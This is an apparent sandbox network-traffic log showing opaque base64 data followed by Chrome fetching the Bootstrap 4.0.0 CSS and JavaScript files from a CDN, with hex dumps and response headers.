2024-04-26 15:29:45 UTC	16384	IN	Data Raw: 74 7a 54 32 46 32 56 58 56 6e 4e 6c 5a 36 54 30 70 78 4d 7a 4a 73 64 46 6c 6d 62 6a 4d 30 51 31 70 57 4e 43 39 51 55 6a 59 7a 55 54 52 75 54 58 6c 78 65 6b 70 73 56 55 6c 74 4e 6e 68 47 54 33 70 44 59 58 4a 57 53 55 4a 55 5a 6e 56 4b 64 7a 68 4b 52 58 64 32 54 44 4e 71 52 7a 4a 7a 4f 47 78 52 53 32 35 47 64 55 4a 56 4f 45 4a 76 64 6a 51 78 5a 55 52 72 53 48 6c 4d 5a 54 42 48 55 6c 46 72 59 6a 5a 56 57 6b 55 72 65 46 64 45 51 33 70 35 56 6c 42 70 65 58 64 4e 52 55 64 58 4e 7a 4a 49 61 45 74 56 51 31 56 32 64 31 64 4e 56 48 52 32 63 6b 4a 59 51 6b 39 51 64 31 46 44 4f 45 52 4e 63 54 68 56 4e 6b 45 78 63 30 68 76 57 6b 78 57 63 55 5a 78 55 44 55 77 51 32 52 7a 62 32 4a 6b 56 44 64 75 57 46 4e 45 63 55 46 77 4d 69 39 48 57 6b 59 77 61 33 5a 4f 52 45 55 30 59 Data Ascii: tzT2F2VXVnNlZ6T0pxMzJsdFlmbjM0Q1pWNC9QUjYzUTRuTXlxekpsVUltNnhGT3pDYXJWSUJUZnVKdzhKRXd2TDNqRzJzOGxRS25GdUJVOEJvdjQxZURrSHlMZTBHUlFrYjZVWkUreFdEQ3p5VlBpeXdNRUdXNzJIaEtVQ1V2d1dNVHR2ckJYQk9Qd1FDOERNcThVNkExc0hvWkxWcUZxUDUwQ2Rzb2JkVDduWFNEcUFwMi9HWkYwa3ZOREU0Y
2024-04-26 15:29:45 UTC	16384	IN	Data Raw: 5a 6f 51 57 64 6b 52 6a 64 4d 53 6c 5a 4c 56 58 6c 73 64 31 6c 33 56 6d 56 35 4d 6b 73 77 51 55 39 70 54 6e 45 78 64 45 5a 59 64 33 46 56 51 57 31 6b 55 54 52 45 4e 30 45 32 54 6d 46 4e 63 6b 56 49 53 6d 4d 76 56 45 78 4d 56 47 68 76 56 54 64 5a 56 79 38 35 57 6a 68 69 54 48 56 31 64 30 39 6e 4d 6d 35 6c 63 58 45 31 4d 55 35 6e 52 46 6c 33 53 32 31 7a 56 46 64 6c 56 45 64 56 65 45 52 61 4e 6b 4a 68 53 33 49 78 63 55 74 4d 55 6b 52 4f 62 7a 4d 33 4e 48 56 5a 51 32 67 78 51 6e 6c 54 51 6b 39 36 4d 6a 68 6c 59 54 68 34 4e 6d 74 6b 4e 46 42 6d 4d 48 64 79 4d 45 52 4d 65 46 68 55 4f 45 5a 75 4e 6d 4e 69 56 30 34 34 4e 54 42 6f 4d 47 5a 77 59 6d 52 33 5a 46 64 75 56 46 67 72 4d 6e 42 50 56 6a 64 58 62 32 4a 54 56 33 42 54 5a 6d 5a 34 52 6b 74 50 5a 30 4e 7a 64 Data Ascii: ZoQWdkRjdMSlZLVXlsd1l3VmV5MkswQU9pTnExdEZYd3FVQW1kUTREN0E2TmFNckVISmMvVExMVGhvVTdZVy85WjhiTHV1d09nMm5lcXE1MU5nRFl3S21zVFdlVEdVeERaNkJhS3IxcUtMUkRObzM3NHVZQ2gxQnlTQk96MjhlYTh4NmtkNFBmMHdyMERMeFhUOEZuNmNiV044NTBoMGZwYmR3ZFduVFgrMnBPVjdXb2JTV3BTZmZ4RktPZ0Nzd
2024-04-26 15:29:45 UTC	16376	IN	Data Raw: 46 50 4f 45 64 47 52 30 46 58 63 46 64 71 4f 58 70 51 59 55 4a 4e 65 6a 5a 69 63 47 78 4a 4c 31 45 31 5a 45 67 7a 61 6d 39 47 61 57 35 4c 5a 32 68 68 64 69 74 4b 59 58 52 47 57 6a 42 58 5a 30 4a 69 59 6c 4e 48 55 53 38 78 55 6b 39 36 62 47 74 59 5a 46 45 34 62 31 70 53 62 58 4e 34 51 32 64 42 56 6c 6c 4f 4b 7a 4a 75 4d 48 59 34 52 58 42 46 64 55 52 50 51 56 42 30 59 30 4d 78 64 58 4e 7a 4b 33 68 6b 54 33 55 7a 56 57 6c 52 64 32 31 49 4e 57 46 79 63 6e 68 33 4b 7a 4d 33 4f 47 64 6b 4f 46 4e 33 59 56 56 53 55 6d 52 70 65 6e 64 4f 59 55 78 59 59 55 78 55 64 7a 4a 4d 4d 58 4a 76 55 30 4d 78 4d 54 68 49 4e 7a 5a 6a 62 79 74 35 59 56 4a 5a 56 32 74 55 59 58 56 52 4d 56 51 7a 64 45 5a 47 52 79 74 59 64 6e 6c 6c 55 6d 4d 77 64 31 42 78 59 6b 45 32 55 30 78 44 56 Data Ascii: FPOEdGR0FXcFdqOXpQYUJNejZicGxJL1E1ZEgzam9GaW5LZ2hhditKYXRGWjBXZ0JiYlNHUS8xUk96bGtYZFE4b1pSbXN4Q2dBVllOKzJuMHY4RXBFdURPQVB0Y0MxdXNzK3hkT3UzVWlRd21INWFycnh3KzM3OGdkOFN3YVVSUmRpendOYUxYYUxUdzJMMXJvU0MxMThINzZjbyt5YVJZV2tUYXVRMVQzdEZGRytYdnllUmMwd1BxYkE2U0xDV
2024-04-26 15:29:45 UTC	16384	IN	Data Raw: 52 74 64 6c 49 7a 4d 33 46 79 53 6a 41 30 56 6d 70 42 61 48 64 55 59 32 4a 47 55 31 52 52 59 7a 68 51 56 30 5a 69 63 58 6c 35 56 6b 46 78 57 45 46 4c 65 57 31 52 5a 47 64 68 61 32 68 54 63 32 4e 30 53 56 46 55 4d 32 35 57 4e 32 56 75 54 6a 59 76 52 57 64 6d 5a 30 35 4a 56 32 74 4e 59 57 6c 73 55 6a 56 6a 65 44 42 56 62 53 74 74 65 6c 64 5a 52 30 78 34 53 79 39 35 54 6a 56 72 56 33 68 45 51 6d 70 30 5a 6c 6c 68 56 6e 52 75 56 6d 5a 75 4d 54 4e 54 63 31 4a 31 4e 48 42 53 63 31 68 6d 56 31 6c 50 5a 30 39 31 4b 30 56 6f 4e 30 4a 4b 4d 54 45 34 4d 43 74 6a 54 57 52 72 65 6d 74 32 53 45 52 70 64 33 4d 76 65 45 4e 48 64 33 52 5a 63 54 6c 57 62 79 74 61 55 54 46 4b 4e 54 4d 78 4d 48 4a 42 57 47 4e 68 56 45 5a 73 61 56 70 32 62 6e 46 50 4d 7a 4a 57 53 6e 5a 56 63 Data Ascii: RtdlIzM3FySjA0VmpBaHdUY2JGU1RRYzhQV0ZicXl5VkFxWEFLeW1RZGdha2hTc2N0SVFUM25WN2VuTjYvRWdmZ05JV2tNYWlsUjVjeDBVbStteldZR0x4Sy95TjVrV3hEQmp0ZllhVnRuVmZuMTNTc1J1NHBSc1hmV1lPZ091K0VoN0JKMTE4MCtjTWRremt2SERpd3MveENHd3RZcTlWbytaUTFKNTMxMHJBWGNhVEZsaVp2bnFPMzJWSnZVc
2024-04-26 15:29:45 UTC	16384	IN	Data Raw: 74 52 4b 32 4e 53 62 56 4a 6a 4e 56 42 36 52 32 68 30 64 54 42 57 55 6b 35 4b 4d 58 6b 34 63 6d 70 69 4d 7a 4a 4a 64 6d 45 7a 4b 33 70 7a 56 31 41 35 51 6d 68 30 61 33 46 34 61 47 78 51 4d 32 6c 56 56 6d 39 31 62 6d 5a 54 53 44 56 6e 63 45 67 78 56 31 5a 71 51 55 68 69 53 58 56 68 5a 6c 51 72 53 32 78 71 4d 55 39 44 63 45 38 77 57 6d 78 6e 57 57 35 74 61 6e 56 72 59 32 38 31 53 6e 5a 30 52 55 78 77 53 44 4a 34 62 33 45 72 63 56 64 42 62 47 52 59 53 55 31 44 62 32 70 4c 52 30 46 61 53 6a 64 69 4d 6e 52 35 52 6a 68 59 53 55 6b 72 55 32 49 78 5a 48 46 51 4c 31 4a 56 4e 57 30 7a 62 6d 6f 32 4d 57 56 46 65 47 5a 75 53 57 4e 71 62 48 4e 55 59 6a 42 61 64 7a 46 4e 4b 32 6c 46 51 32 68 4e 4e 33 68 70 4d 58 5a 4b 56 44 49 34 5a 32 70 77 56 30 4a 6e 56 32 70 75 64 Data Ascii: tRK2NSbVJjNVB6R2h0dTBWUk5KMXk4cmpiMzJJdmEzK3pzV1A5Qmh0a3F4aGxQM2lVVm91bmZTSDVncEgxV1ZqQUhiSXVhZlQrS2xqMU9DcE8wWmxnWW5tanVrY281SnZ0RUxwSDJ4b3ErcVdBbGRYSU1Db2pLR0FaSjdiMnR5RjhYSUkrU2IxZHFQL1JVNW0zbmo2MWVFeGZuSWNqbHNUYjBadzFNK2lFQ2hNN3hpMXZKVDI4Z2pwV0JnV2pud

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49713	104.18.10.207	443	6620	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 15:29:47 UTC	549	OUT	GET /bootstrap/4.0.0/css/bootstrap.min.css HTTP/1.1 Host: maxcdn.bootstrapcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: null sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: style Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 15:29:47 UTC	931	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 15:29:47 GMT Content-Type: text/css; charset=utf-8 Transfer-Encoding: chunked Connection: close CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: US Vary: Accept-Encoding Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 ETag: W/"450fc463b8b1a349df717056fbb3e078" Last-Modified: Mon, 25 Jan 2021 22:04:04 GMT CDN-CachedAt: 03/18/2024 12:50:25 CDN-ProxyVer: 1.04 CDN-RequestPullCode: 200 CDN-RequestPullSuccess: True CDN-EdgeStorageId: 625 timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-Status: 200 CDN-RequestId: 62832f8727e6b5e9e0a48e0a7b27766d CDN-Cache: HIT CF-Cache-Status: HIT Age: 788684 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 87a79c3eca6fa52d-MIA alt-svc: h3=":443"; ma=86400
2024-04-26 15:29:47 UTC	438	IN	Data Raw: 37 63 31 30 0d 0a 2f 2a 21 0a 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 30 2e 30 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 29 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 77 69 74 74 65 72 2c 20 49 6e 63 2e 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 2a 2f 3a 72 6f 6f 74 7b 2d 2d 62 6c 75 65 3a 23 30 30 37 62 66 66 3b 2d 2d 69 6e 64 69 67 6f 3a 23 36 36 31 30 Data Ascii: 7c10/! Bootstrap v4.0.0 (https://getbootstrap.com) * Copyright 2011-2018 The Bootstrap Authors * Copyright 2011-2018 Twitter, Inc. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */:root{--blue:#007bff;--indigo:#6610
2024-04-26 15:29:47 UTC	1369	IN	Data Raw: 61 72 79 3a 23 30 30 37 62 66 66 3b 2d 2d 73 65 63 6f 6e 64 61 72 79 3a 23 36 63 37 35 37 64 3b 2d 2d 73 75 63 63 65 73 73 3a 23 32 38 61 37 34 35 3b 2d 2d 69 6e 66 6f 3a 23 31 37 61 32 62 38 3b 2d 2d 77 61 72 6e 69 6e 67 3a 23 66 66 63 31 30 37 3b 2d 2d 64 61 6e 67 65 72 3a 23 64 63 33 35 34 35 3b 2d 2d 6c 69 67 68 74 3a 23 66 38 66 39 66 61 3b 2d 2d 64 61 72 6b 3a 23 33 34 33 61 34 30 3b 2d 2d 62 72 65 61 6b 70 6f 69 6e 74 2d 78 73 3a 30 3b 2d 2d 62 72 65 61 6b 70 6f 69 6e 74 2d 73 6d 3a 35 37 36 70 78 3b 2d 2d 62 72 65 61 6b 70 6f 69 6e 74 2d 6d 64 3a 37 36 38 70 78 3b 2d 2d 62 72 65 61 6b 70 6f 69 6e 74 2d 6c 67 3a 39 39 32 70 78 3b 2d 2d 62 72 65 61 6b 70 6f 69 6e 74 2d 78 6c 3a 31 32 30 30 70 78 3b 2d 2d 66 6f 6e 74 2d 66 61 6d 69 6c 79 2d 73 61 6e Data Ascii: ary:#007bff;--secondary:#6c757d;--success:#28a745;--info:#17a2b8;--warning:#ffc107;--danger:#dc3545;--light:#f8f9fa;--dark:#343a40;--breakpoint-xs:0;--breakpoint-sm:576px;--breakpoint-md:768px;--breakpoint-lg:992px;--breakpoint-xl:1200px;--font-family-san
2024-04-26 15:29:47 UTC	1369	IN	Data Raw: 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 20 64 6f 74 74 65 64 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 20 64 6f 74 74 65 64 3b 63 75 72 73 6f 72 3a 68 65 6c 70 3b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 30 7d 61 64 64 72 65 73 73 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 72 65 6d 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 69 6e 68 65 72 69 74 7d 64 6c 2c 6f 6c 2c 75 6c 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 72 65 6d 7d 6f 6c 20 6f 6c 2c 6f 6c 20 75 6c 2c 75 6c 20 6f 6c 2c 75 6c 20 75 6c 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 7d 64 74 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 37 30 30 7d 64 64 7b 6d 61 72 67 69 Data Ascii: ion:underline dotted;text-decoration:underline dotted;cursor:help;border-bottom:0}address{margin-bottom:1rem;font-style:normal;line-height:inherit}dl,ol,ul{margin-top:0;margin-bottom:1rem}ol ol,ol ul,ul ol,ul ul{margin-bottom:0}dt{font-weight:700}dd{margi
2024-04-26 15:29:47 UTC	1369	IN	Data Raw: 74 6f 20 2d 77 65 62 6b 69 74 2d 66 6f 63 75 73 2d 72 69 6e 67 2d 63 6f 6c 6f 72 7d 62 75 74 74 6f 6e 2c 69 6e 70 75 74 2c 6f 70 74 67 72 6f 75 70 2c 73 65 6c 65 63 74 2c 74 65 78 74 61 72 65 61 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 69 6e 68 65 72 69 74 3b 66 6f 6e 74 2d 73 69 7a 65 3a 69 6e 68 65 72 69 74 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 69 6e 68 65 72 69 74 7d 62 75 74 74 6f 6e 2c 69 6e 70 75 74 7b 6f 76 65 72 66 6c 6f 77 3a 76 69 73 69 62 6c 65 7d 62 75 74 74 6f 6e 2c 73 65 6c 65 63 74 7b 74 65 78 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 6e 6f 6e 65 7d 5b 74 79 70 65 3d 72 65 73 65 74 5d 2c 5b 74 79 70 65 3d 73 75 62 6d 69 74 5d 2c 62 75 74 74 6f 6e 2c 68 74 6d 6c 20 5b 74 79 70 65 3d 62 75 74 74 6f 6e 5d 7b 2d 77 65 62 6b Data Ascii: to -webkit-focus-ring-color}button,input,optgroup,select,textarea{margin:0;font-family:inherit;font-size:inherit;line-height:inherit}button,input{overflow:visible}button,select{text-transform:none}[type=reset],[type=submit],button,html [type=button]{-webk
2024-04-26 15:29:47 UTC	1369	IN	Data Raw: 2d 62 6f 74 74 6f 6d 3a 2e 35 72 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 69 6e 68 65 72 69 74 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 35 30 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 32 3b 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 7d 2e 68 31 2c 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 35 72 65 6d 7d 2e 68 32 2c 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 72 65 6d 7d 2e 68 33 2c 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 35 72 65 6d 7d 2e 68 34 2c 68 34 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 35 72 65 6d 7d 2e 68 35 2c 68 35 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 35 72 65 6d 7d 2e 68 36 2c 68 36 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 72 65 6d 7d 2e 6c 65 61 64 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 35 72 65 6d 3b 66 6f 6e 74 2d 77 65 69 67 Data Ascii: -bottom:.5rem;font-family:inherit;font-weight:500;line-height:1.2;color:inherit}.h1,h1{font-size:2.5rem}.h2,h2{font-size:2rem}.h3,h3{font-size:1.75rem}.h4,h4{font-size:1.5rem}.h5,h5{font-size:1.25rem}.h6,h6{font-size:1rem}.lead{font-size:1.25rem;font-weig
2024-04-26 15:29:47 UTC	1369	IN	Data Raw: 6f 6e 74 2d 66 61 6d 69 6c 79 3a 53 46 4d 6f 6e 6f 2d 52 65 67 75 6c 61 72 2c 4d 65 6e 6c 6f 2c 4d 6f 6e 61 63 6f 2c 43 6f 6e 73 6f 6c 61 73 2c 22 4c 69 62 65 72 61 74 69 6f 6e 20 4d 6f 6e 6f 22 2c 22 43 6f 75 72 69 65 72 20 4e 65 77 22 2c 6d 6f 6e 6f 73 70 61 63 65 7d 63 6f 64 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 38 37 2e 35 25 3b 63 6f 6c 6f 72 3a 23 65 38 33 65 38 63 3b 77 6f 72 64 2d 62 72 65 61 6b 3a 62 72 65 61 6b 2d 77 6f 72 64 7d 61 3e 63 6f 64 65 7b 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 7d 6b 62 64 7b 70 61 64 64 69 6e 67 3a 2e 32 72 65 6d 20 2e 34 72 65 6d 3b 66 6f 6e 74 2d 73 69 7a 65 3a 38 37 2e 35 25 3b 63 6f 6c 6f 72 3a 23 66 66 66 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 32 31 32 35 32 39 3b 62 6f 72 64 65 72 2d 72 61 64 69 Data Ascii: ont-family:SFMono-Regular,Menlo,Monaco,Consolas,"Liberation Mono","Courier New",monospace}code{font-size:87.5%;color:#e83e8c;word-break:break-word}a>code{color:inherit}kbd{padding:.2rem .4rem;font-size:87.5%;color:#fff;background-color:#212529;border-radi
2024-04-26 15:29:47 UTC	1369	IN	Data Raw: 2e 63 6f 6c 2d 6d 64 2c 2e 63 6f 6c 2d 6d 64 2d 31 2c 2e 63 6f 6c 2d 6d 64 2d 31 30 2c 2e 63 6f 6c 2d 6d 64 2d 31 31 2c 2e 63 6f 6c 2d 6d 64 2d 31 32 2c 2e 63 6f 6c 2d 6d 64 2d 32 2c 2e 63 6f 6c 2d 6d 64 2d 33 2c 2e 63 6f 6c 2d 6d 64 2d 34 2c 2e 63 6f 6c 2d 6d 64 2d 35 2c 2e 63 6f 6c 2d 6d 64 2d 36 2c 2e 63 6f 6c 2d 6d 64 2d 37 2c 2e 63 6f 6c 2d 6d 64 2d 38 2c 2e 63 6f 6c 2d 6d 64 2d 39 2c 2e 63 6f 6c 2d 6d 64 2d 61 75 74 6f 2c 2e 63 6f 6c 2d 73 6d 2c 2e 63 6f 6c 2d 73 6d 2d 31 2c 2e 63 6f 6c 2d 73 6d 2d 31 30 2c 2e 63 6f 6c 2d 73 6d 2d 31 31 2c 2e 63 6f 6c 2d 73 6d 2d 31 32 2c 2e 63 6f 6c 2d 73 6d 2d 32 2c 2e 63 6f 6c 2d 73 6d 2d 33 2c 2e 63 6f 6c 2d 73 6d 2d 34 2c 2e 63 6f 6c 2d 73 6d 2d 35 2c 2e 63 6f 6c 2d 73 6d 2d 36 2c 2e 63 6f 6c 2d 73 6d 2d 37 2c Data Ascii: .col-md,.col-md-1,.col-md-10,.col-md-11,.col-md-12,.col-md-2,.col-md-3,.col-md-4,.col-md-5,.col-md-6,.col-md-7,.col-md-8,.col-md-9,.col-md-auto,.col-sm,.col-sm-1,.col-sm-10,.col-sm-11,.col-sm-12,.col-sm-2,.col-sm-3,.col-sm-4,.col-sm-5,.col-sm-6,.col-sm-7,
2024-04-26 15:29:47 UTC	1369	IN	Data Raw: 37 25 3b 6d 61 78 2d 77 69 64 74 68 3a 36 36 2e 36 36 36 36 36 37 25 7d 2e 63 6f 6c 2d 39 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 66 6c 65 78 3a 30 3b 2d 6d 73 2d 66 6c 65 78 3a 30 20 30 20 37 35 25 3b 66 6c 65 78 3a 30 20 30 20 37 35 25 3b 6d 61 78 2d 77 69 64 74 68 3a 37 35 25 7d 2e 63 6f 6c 2d 31 30 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 66 6c 65 78 3a 30 3b 2d 6d 73 2d 66 6c 65 78 3a 30 20 30 20 38 33 2e 33 33 33 33 33 33 25 3b 66 6c 65 78 3a 30 20 30 20 38 33 2e 33 33 33 33 33 33 25 3b 6d 61 78 2d 77 69 64 74 68 3a 38 33 2e 33 33 33 33 33 33 25 7d 2e 63 6f 6c 2d 31 31 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 66 6c 65 78 3a 30 3b 2d 6d 73 2d 66 6c 65 78 3a 30 20 30 20 39 31 2e 36 36 36 36 36 37 25 3b 66 6c 65 78 3a 30 20 30 20 39 31 2e 36 36 36 36 36 37 Data Ascii: 7%;max-width:66.666667%}.col-9{-webkit-box-flex:0;-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-10{-webkit-box-flex:0;-ms-flex:0 0 83.333333%;flex:0 0 83.333333%;max-width:83.333333%}.col-11{-webkit-box-flex:0;-ms-flex:0 0 91.666667%;flex:0 0 91.666667
2024-04-26 15:29:47 UTC	1369	IN	Data Raw: 37 25 7d 2e 6f 66 66 73 65 74 2d 33 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 32 35 25 7d 2e 6f 66 66 73 65 74 2d 34 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 33 33 2e 33 33 33 33 33 33 25 7d 2e 6f 66 66 73 65 74 2d 35 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 34 31 2e 36 36 36 36 36 37 25 7d 2e 6f 66 66 73 65 74 2d 36 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 35 30 25 7d 2e 6f 66 66 73 65 74 2d 37 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 35 38 2e 33 33 33 33 33 33 25 7d 2e 6f 66 66 73 65 74 2d 38 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 36 36 2e 36 36 36 36 36 37 25 7d 2e 6f 66 66 73 65 74 2d 39 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 37 35 25 7d 2e 6f 66 66 73 65 74 2d 31 30 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 38 33 2e 33 33 33 33 33 33 25 7d 2e 6f 66 66 73 65 74 2d Data Ascii: 7%}.offset-3{margin-left:25%}.offset-4{margin-left:33.333333%}.offset-5{margin-left:41.666667%}.offset-6{margin-left:50%}.offset-7{margin-left:58.333333%}.offset-8{margin-left:66.666667%}.offset-9{margin-left:75%}.offset-10{margin-left:83.333333%}.offset-
2024-04-26 15:29:47 UTC	1369	IN	Data Raw: 64 74 68 3a 38 33 2e 33 33 33 33 33 33 25 7d 2e 63 6f 6c 2d 73 6d 2d 31 31 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 66 6c 65 78 3a 30 3b 2d 6d 73 2d 66 6c 65 78 3a 30 20 30 20 39 31 2e 36 36 36 36 36 37 25 3b 66 6c 65 78 3a 30 20 30 20 39 31 2e 36 36 36 36 36 37 25 3b 6d 61 78 2d 77 69 64 74 68 3a 39 31 2e 36 36 36 36 36 37 25 7d 2e 63 6f 6c 2d 73 6d 2d 31 32 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 66 6c 65 78 3a 30 3b 2d 6d 73 2d 66 6c 65 78 3a 30 20 30 20 31 30 30 25 3b 66 6c 65 78 3a 30 20 30 20 31 30 30 25 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 7d 2e 6f 72 64 65 72 2d 73 6d 2d 66 69 72 73 74 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 6f 72 64 69 6e 61 6c 2d 67 72 6f 75 70 3a 30 3b 2d 6d 73 2d 66 6c 65 78 2d 6f 72 64 65 72 3a 2d 31 3b 6f 72 64 65 72 3a Data Ascii: dth:83.333333%}.col-sm-11{-webkit-box-flex:0;-ms-flex:0 0 91.666667%;flex:0 0 91.666667%;max-width:91.666667%}.col-sm-12{-webkit-box-flex:0;-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.order-sm-first{-webkit-box-ordinal-group:0;-ms-flex-order:-1;order:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49714	104.18.10.207	443	6620	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 15:29:47 UTC	621	OUT	GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1 Host: maxcdn.bootstrapcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: null sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 15:29:47 UTC	946	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 15:29:47 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: US Vary: Accept-Encoding Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 ETag: W/"14d449eb8876fa55e1ef3c2cc52b0c17" Last-Modified: Mon, 25 Jan 2021 22:04:04 GMT CDN-CachedAt: 03/18/2024 12:50:25 CDN-ProxyVer: 1.04 CDN-RequestPullCode: 200 CDN-RequestPullSuccess: True CDN-EdgeStorageId: 878 timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-Status: 200 CDN-RequestId: 894e0b6159019e1b491cf034057a7854 CDN-Cache: HIT CF-Cache-Status: HIT Age: 1177925 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 87a79c3ecba225a3-MIA alt-svc: h3=":443"; ma=86400
2024-04-26 15:29:47 UTC	423	IN	Data Raw: 37 63 30 32 0d 0a 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 30 2e 30 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 74 Data Ascii: 7c02/! Bootstrap v4.0.0 (https://getbootstrap.com) * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT 